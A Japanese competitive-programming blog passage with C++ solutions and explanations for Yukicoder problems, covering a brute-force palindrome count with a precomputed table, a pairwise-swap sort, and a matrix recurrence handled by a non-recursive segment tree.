単に回文を数えるだけだが、桁DPが面倒だったので暴力的な解法に頼ってしまった。

solution

埋め込み。$O(N)$。

愚直に$1$から$N$まで全て試すことを考える。 $10^9+1$の倍数だけ考えればよいので$10^9$個程試すだけでよい。 そのまま実装すると$10$分程度かかるが、埋め込みをすれば間に合う。

implementation

#include <iostream>
#include <algorithm>
#include <sstream>
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;

constexpr ll k = 1000000001;
extern const int table[];
constexpr ll width = k * 1000000;
string str(ll n) {
    ostringstream oss;
    oss << n;
    return oss.str();
}
int main() {
    ll n; cin >> n;
    ll i = 0;
    while (i + width <= n) i += width;
    int cnt = table[i / width];
    i += k;
    for (; i <= n; i += k) {
        string s = str(i);
        string t = s; whole(reverse, t);
        if (s == t) ++ cnt;
    }
    cout << cnt << endl;
    return 0;
}

const int table[] = {
0,1998,2998,3998,4998,5998,6998,7998,8998,9998,10998,11098,11198,11298,11398,
11498,11598,11698,11798,11898,11998,12098,12198,12298,12398,12498,12598,12698,
12798,12898,12998,13098,13198,13298,13398,13498,13598,13698,13798,13898,13998,
14098,14198,14298,14398,14498,14598,14698,14798,14898,14998,15098,15198,15298,
15398,15498,15598,15698,15798,15898,15998,16098,16198,16298,16398,16498,16598,
16698,16798,16898,16998,17098,17198,17298,17398,17498,17598,17698,17798,17898,
17998,18098,18198,18298,18398,18498,18598,18698,18798,18898,18998,19098,19198,
19298,19398,19498,19598,19698,19798,19898,19998,20098,20198,20298,20398,20498,
20598,20698,20798,20898,20998,21098,21198,21298,21398,21498,21598,21698,21798,
21898,21998,22098,22198,22298,22398,22498,22598,22698,22798,22898,22998,23098,
23198,23298,23398,23498,23598,23698,23798,23898,23998,24098,24198,24298,24398,
24498,24598,24698,24798,24898,24998,25098,25198,25298,25398,25498,25598,25698,
25798,25898,25998,26098,26198,26298,26398,26498,26598,26698,26798,26898,26998,
27098,27198,27298,27398,27498,27598,27698,27798,27898,27998,28098,28198,28298,
28398,28498,28598,28698,28798,28898,28998,29098,29198,29298,29398,29498,29598,
29698,29798,29898,29998,30098,30198,30298,30398,30498,30598,30698,30798,30898,
30998,31098,31198,31298,31398,31498,31598,31698,31798,31898,31998,32098,32198,
32298,32398,32498,32598,32698,32798,32898,32998,33098,33198,33298,33398,33498,
33598,33698,33798,33898,33998,34098,34198,34298,34398,34498,34598,34698,34798,
34898,34998,35098,35198,35298,35398,35498,35598,35698,35798,35898,35998,36098,
36198,36298,36398,36498,36598,36698,36798,36898,36998,37098,37198,37298,37398,
37498,37598,37698,37798,37898,37998,38098,38198,38298,38398,38498,38598,38698,
38798,38898,38998,39098,39198,39298,39398,39498,39598,39698,39798,39898,39998,
40098,40198,40298,40398,40498,40598,40698,40798,40898,40998,41098,41198,41298,
41398,41498,41598,41698,41798,41898,41998,42098,42198,42298,42398,42498,42598,
42698,42798,42898,42998,43098,43198,43298,43398,43498,43598,43698,43798,43898,
43998,44098,44198,44298,44398,44498,44598,44698,44798,44898,44998,45098,45198,
45298,45398,45498,45598,45698,45798,45898,45998,46098,46198,46298,46398,46498,
46598,46698,46798,46898,46998,47098,47198,47298,47398,47498,47598,47698,47798,
47898,47998,48098,48198,48298,48398,48498,48598,48698,48798,48898,48998,49098,
49198,49298,49398,49498,49598,49698,49798,49898,49998,50098,50198,50298,50398,
50498,50598,50698,50798,50898,50998,51098,51198,51298,51398,51498,51598,51698,
51798,51898,51998,52098,52198,52298,52398,52498,52598,52698,52798,52898,52998,
53098,53198,53298,53398,53498,53598,53698,53798,53898,53998,54098,54198,54298,
54398,54498,54598,54698,54798,54898,54998,55098,55198,55298,55398,55498,55598,
55698,55798,55898,55998,56098,56198,56298,56398,56498,56598,56698,56798,56898,
56998,57098,57198,57298,57398,57498,57598,57698,57798,57898,57998,58098,58198,
58298,58398,58498,58598,58698,58798,58898,58998,59098,59198,59298,59398,59498,
59598,59698,59798,59898,59998,60098,60198,60298,60398,60498,60598,60698,60798,
60898,60998,61098,61198,61298,61398,61498,61598,61698,61798,61898,61998,62098,
62198,62298,62398,62498,62598,62698,62798,62898,62998,63098,63198,63298,63398,
63498,63598,63698,63798,63898,63998,64098,64198,64298,64398,64498,64598,64698,
64798,64898,64998,65098,65198,65298,65398,65498,65598,65698,65798,65898,65998,
66098,66198,66298,66398,66498,66598,66698,66798,66898,66998,67098,67198,67298,
67398,67498,67598,67698,67798,67898,67998,68098,68198,68298,68398,68498,68598,
68698,68798,68898,68998,69098,69198,69298,69398,69498,69598,69698,69798,69898,
69998,70098,70198,70298,70398,70498,70598,70698,70798,70898,70998,71098,71198,
71298,71398,71498,71598,71698,71798,71898,71998,72098,72198,72298,72398,72498,
72598,72698,72798,72898,72998,73098,73198,73298,73398,73498,73598,73698,73798,
73898,73998,74098,74198,74298,74398,74498,74598,74698,74798,74898,74998,75098,
75198,75298,75398,75498,75598,75698,75798,75898,75998,76098,76198,76298,76398,
76498,76598,76698,76798,76898,76998,77098,77198,77298,77398,77498,77598,77698,
77798,77898,77998,78098,78198,78298,78398,78498,78598,78698,78798,78898,78998,
79098,79198,79298,79398,79498,79598,79698,79798,79898,79998,80098,80198,80298,
80398,80498,80598,80698,80798,80898,80998,81098,81198,81298,81398,81498,81598,
81698,81798,81898,81998,82098,82198,82298,82398,82498,82598,82698,82798,82898,
82998,83098,83198,83298,83398,83498,83598,83698,83798,83898,83998,84098,84198,
84298,84398,84498,84598,84698,84798,84898,84998,85098,85198,85298,85398,85498,
85598,85698,85798,85898,85998,86098,86198,86298,86398,86498,86598,86698,86798,
86898,86998,87098,87198,87298,87398,87498,87598,87698,87798,87898,87998,88098,
88198,88298,88398,88498,88598,88698,88798,88898,88998,89098,89198,89298,89398,
89498,89598,89698,89798,89898,89998,90098,90198,90298,90398,90498,90598,90698,
90798,90898,90998,91098,91198,91298,91398,91498,91598,91698,91798,91898,91998,
92098,92198,92298,92398,92498,92598,92698,92798,92898,92998,93098,93198,93298,
93398,93498,93598,93698,93798,93898,93998,94098,94198,94298,94398,94498,94598,
94698,94798,94898,94998,95098,95198,95298,95398,95498,95598,95698,95798,95898,
95998,96098,96198,96298,96398,96498,96598,96698,96798,96898,96998,97098,97198,
97298,97398,97498,97598,97698,97798,97898,97998,98098,98198,98298,98398,98498,
98598,98698,98798,98898,98998,99098,99198,99298,99398,99498,99598,99698,99798,
99898,99998,100098,100198,100298,100398,100498,100598,100698,100798,100898,
100998,101098,101198,101298,101398,101498,101598,101698,101798,101898,101998,
102098,102198,102298,102398,102498,102598,102698,102798,102898,102998,103098,
103198,103298,103398,103498,103598,103698,103798,103898,103998,104098,104198,
104298,104398,104498,104598,104698,104798,104898,104998,105098,105198,105298,
105398,105498,105598,105698,105798,105898,105998,106098,106198,106298,106398,
106498,106598,106698,106798,106898,106998,107098,107198,107298,107398,107498,
107598,107698,107798,107898,107998,108098,108198,108298,108398,108498,108598,
108698,108798,108898,108998,109098,109198,109298,109398,109498,109598,109698,
109798,109898
};

埋め込み対象

#include <iostream>
#include <algorithm>
#include <sstream>
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
string str(ll n) {
    ostringstream oss;
    oss << n;
    return oss.str();
}
int main() {
    ll n = 1000000000000000000;
    int cnt = 0;
    for (ll i = 1000000001; i < n; i += 1000000001) {
        string s = str(i);
        string t = s; whole(reverse, t);
        if (s == t) ++ cnt;
        if ((i / 1000000001) % 1000000 == 0) cout << i << ' ' << cnt << endl;
    }
    return 0;
}

Yukicoder No.490 yukiソート

,

http://yukicoder.me/problems/no/490

CTFのチーム内で布教してたのに乗って参加してくれた人がいたが、問題文の不備や難易度の高さでWAして撤退してた。 運が悪かったという感じがする。

私はESPerして普通のsortをしたら外して$1$WAし間に合うことを祈りつつpythonで投げたら$1$TLE。

solution

指示された通りにそのまま実装する。$O(N^2)$。

implementation

#include <iostream>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using namespace std;
int main() {
    int n; cin >> n;
    vector<int> a(n); repeat (i,n) cin >> a[i];
    repeat (i,2*n-3) {
        repeat (p,i+1) {
            int q = i - p;
            if (0 <= p and p < q and q <= n-1) {
                if (a[p] > a[q]) swap(a[p], a[q]);
            }
        }
    }
    repeat (i,n) cout << a[i] << ' ';
    cout << endl;
    return 0;
}

Yukicoder No.426 往復漸化式

,

$b_{i-1}$を$b_{i+1}$だと思い込み$b_n$には気付いたが$b_0$のtypoだと無視した結果、誤読で時間を潰し、editorialを見て気付いた。 ついでに $ \left( \begin{matrix} 6i & 6i+1 & 6i+2 \\ 6i+3 & 6i+4 & 6i+5 \end{matrix} \right) $ の$i$は虚数だと思ってた。

solution

segment木。$O(N + Q \log N)$。

漸化式を整理すると以下のようになる。

$$ \begin{array}{ccl} a_i & = & A_{i-1} A_{i-2} \dots A_0 a_0 \\ b_i & = & B_{i+1} A_{i+2} \dots B_n b_n \\ & & + \; S_{i+1} a_{i+1} \\ & & + \; B_{i+1} S_{i+2} A_{i+1} a_{i+1} \\ & & + \; B_{i+1} B_{i+2} S_{i+3} A_{i+2} A_{i+1} a_{i+1} \\ & & + \; \vdots \\ & & + \; B_{i+1} B_{i+2} \dots B_{n-1} S_n A_{n-1} \dots A_{i+2} A_{i+1} a_{i+1} \end{array} $$

ただし

$$ S_i = \left( \begin{matrix} 6i & 6i+1 & 6i+2 \\ 6i+3 & 6i+4 & 6i+5 \end{matrix} \right) $$

以下をsegment木で求めるのは容易である。

  • $A_{i-1} A_{i-2} \dots A_0$
  • $B_{i+1} A_{i+2} \dots B_n$

残る部分について、$a_{i+1}$をくくり出せば、次を求めればよい。

$$ \begin{array}{cc} & S_{i+1} \\ + & B_{i+1} S_{i+2} A_{i+1} \\ + & B_{i+1} B_{i+2} S_{i+3} A_{i+2} A_{i+1} \\ + & \vdots \\ + & B_{i+1} B_{i+2} \dots B_{n-2} S_n A_{n-2} \dots A_{i+2} A_{i+1} \\ + & B_{i+1} B_{i+2} \dots B_{n-2} B_{n-1} S_n A_{n-1} A_{n-2} \dots A_{i+2} A_{i+1} \end{array} $$

これを変形すると例えば以下のようになる。

$$ \begin{array}{crcl} & & S_{i+1} & \\ + & & B_{i+1} S_{i+2} A_{i+1} & \\ + & & B_{i+1} B_{i+2} S_{i+3} A_{i+2} A_{i+1} & \\ + & B_{i+1} B_{i+2} B_{i+3} & S_{i+4} & A_{i+3} A_{i+2} A_{i+1} \\ + & B_{i+1} B_{i+2} B_{i+3} & B_{i+4} S_{i+5} A_{i+4} & A_{i+3} A_{i+2} A_{i+1} \\ + & \vdots & \vdots & \vdots \\ + & B_{i+1} B_{i+2} B_{i+3} & B_{i+4} \dots B_{n-2} S_n A_{n-2} \dots A_{i+4} & A_{i+3} A_{i+2} A_{i+1} \\ + & B_{i+1} B_{i+2} B_{i+3} & B_{i+4} \dots B_{n-2} B_{n-1} S_n A_{n-1} A_{n-2} \dots A_{i+4} & A_{i+3} A_{i+2} A_{i+1} \end{array} $$

こう分割することにより、$A_i, B_i$単体の区間を用いて、三角形のそれの区間を合成できる。

implementation

segment木を再帰なしで実装するやつをやってみたらほぼ$2$倍速ぐらいになった: recursion $\to$ loop

#include <iostream>
#include <vector>
#include <array>
#include <functional>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;

const int mod = 1e9+7;

template <typename T, size_t H, size_t W>
using matrix = array<array<T,W>,H>;
template <typename T, size_t A, size_t B, size_t C>
matrix<T,A,C> operator * (matrix<T,A,B> const & a, matrix<T,B,C> const & b) {
    matrix<T,A,C> c = {};
    repeat (y,A) {
        repeat (z,B) {
            repeat (x,C) {
                c[y][x] = (c[y][x] + a[y][z] *(ll) b[z][x]) % mod;
            }
        }
    }
    return c;
}
template <typename T, size_t H, size_t W>
array<T,H> operator * (matrix<T,H,W> const & a, array<T,W> const & b) {
    array<T,H> c = {};
    repeat (y,H) {
        repeat (z,W) {
            c[y] = (c[y] + a[y][z] *(ll) b[z]) % mod;
        }
    }
    return c;
}
template <typename T, size_t H, size_t W>
matrix<T,H,W> operator + (matrix<T,H,W> const & a, matrix<T,H,W> const & b) {
    matrix<T,H,W> c;
    repeat (y,H) {
        repeat (x,W) {
            c[y][x] = (a[y][x] + b[y][x]) % mod;
        }
    }
    return c;
}
template <typename T, size_t N>
array<T,N> operator + (array<T,N> const & a, array<T,N> const & b) {
    array<T,N> c;
    repeat (i,N) {
        c[i] = (a[i] + b[i]) % mod;
    }
    return c;
}
template <typename T, size_t H, size_t W>
matrix<T,H,W> matrix_zero() { return {}; }
template <typename T, size_t N>
matrix<T,N,N> matrix_unit() { matrix<T,N,N> a = {}; repeat (i,N) a[i][i] = 1; return a; }

template <typename T>
struct segment_tree { // on monoid
    int n;
    vector<T> a;
    function<T (T,T)> append; // associative
    T unit; // unit
    segment_tree() = default;
    segment_tree(int a_n, T a_unit, function<T (T,T)> a_append) {
        n = 1; while (n < a_n) n *= 2;
        a.resize(2*n-1, a_unit);
        unit = a_unit;
        append = a_append;
    }
    template <typename F>
    void point_update(int i, F func) { // 0-based
        a[i+n-1] = func(a[i+n-1]);
        for (i = (i+n)/2; i > 0; i /= 2) {
            a[i-1] = append(a[2*i-1], a[2*i]);
        }
    }
    T point_get(int i) {
        return range_concat(i, i+1);
    }
    T range_concat(int l, int r) { // 0-based, [l, r)
        T lacc = unit, racc = unit;
        for (l += n, r += n; l < r; l /= 2, r /= 2) {
            if (l % 2 == 1) lacc = append(lacc, a[(l ++) - 1]);
            if (r % 2 == 1) racc = append(a[(-- r) - 1], racc);
        }
        return append(lacc, racc);
    }
};

struct range_t {
    matrix<int,3,3> A;
    matrix<int,2,2> B;
    matrix<int,2,3> S;
};

int main() {
    int n; cin >> n;
    array<int,3> a0; repeat (i,3) cin >> a0[i];
    array<int,2> bn; repeat (i,2) cin >> bn[i];
    segment_tree<range_t> segtree(n+1, (range_t) { matrix_unit<int,3>(), matrix_unit<int,2>(), matrix_zero<int,2,3>() }, [&](range_t const & l, range_t const & r) {
        range_t m;
        m.A = r.A * l.A;
        m.B = l.B * r.B;
        m.S = l.S + l.B * r.S * l.A;
        return m;
    });
    repeat (i,n+1) {
        segtree.point_update(i, [&](range_t m) {
            repeat (y,2) repeat (x,3) m.S[y][x] = 6*i + 3*y+x;
            return m;
        });
    }
    int query; cin >> query;
    while (query --) {
        string type; int i; cin >> type >> i;
        if (type == "a") {
            segtree.point_update(i, [](range_t m) {
                repeat (y,3) repeat (x,3) cin >> m.A[y][x];
                return m;
            });
        } else if (type == "b") {
            segtree.point_update(i, [](range_t m) {
                repeat (y,2) repeat (x,2) cin >> m.B[y][x];
                return m;
            });
        } else if (type == "ga") {
            range_t m = segtree.range_concat(0, i);
            array<int,3> ai = m.A * a0;
            cout << ai[0] << ' ' << ai[1] << ' ' << ai[2] << endl;
        } else if (type == "gb") {
            range_t l = segtree.range_concat(0, i+1);
            range_t r = segtree.range_concat(i+1, n+1);
            array<int,2> bi = r.B * bn + r.S * l.A * a0;
            cout << bi[0] << ' ' << bi[1] << endl;
        }
    }
    return 0;
}